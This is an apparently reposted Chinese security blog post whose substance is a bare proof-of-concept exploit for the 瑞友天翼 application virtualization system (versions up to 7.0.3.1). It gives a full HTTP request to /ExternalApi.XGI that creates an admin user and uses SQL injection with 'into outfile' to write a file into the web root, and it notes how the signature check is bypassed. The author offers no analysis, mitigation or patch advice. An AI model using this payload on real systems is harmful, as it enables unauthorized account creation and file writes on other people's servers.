瑞友天翼应用虚拟化系统<=7.0.3.1

admin 2024年11月9日23:16:38评论11 views字数 833阅读2分46秒阅读模式

瑞友天翼应用虚拟化系统<=7.0.3.1

过程代码懒得贴了

没有记录分析过程,笔记只有poc了,直接贴吧。

POST /ExternalApi.XGI?key=inner&initParams=command_createUser__user_admin__pwd_password&sign=90286714fbfb1b4396d38e0358216dd1 HTTP/1.1Host: 192.168.0.117Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36X-Requested-With: XMLHttpRequestAccept-Encoding: gzip, deflateCookie:PHPSESSID=s6f7a5s1rui8e64o163b484au1;Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: closeContent-Type: application/octet-streamContent-Length: 246{"account":"aaaa' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 into outfile '..\\..\\WebRoot\\11.txt'#","userPwd":"bbbb","userGroupId":"1"}

其中sign签名为initParams+key参数的md5,所以不用管。

瑞友天翼应用虚拟化系统<=7.0.3.1

原文始发于微信公众号(安全学习与分享):瑞友天翼应用虚拟化系统<=7.0.3.1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日23:16:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   瑞友天翼应用虚拟化系统<=7.0.3.1https://cn-sec.com/archives/1833649.html

发表评论

匿名网友 填写信息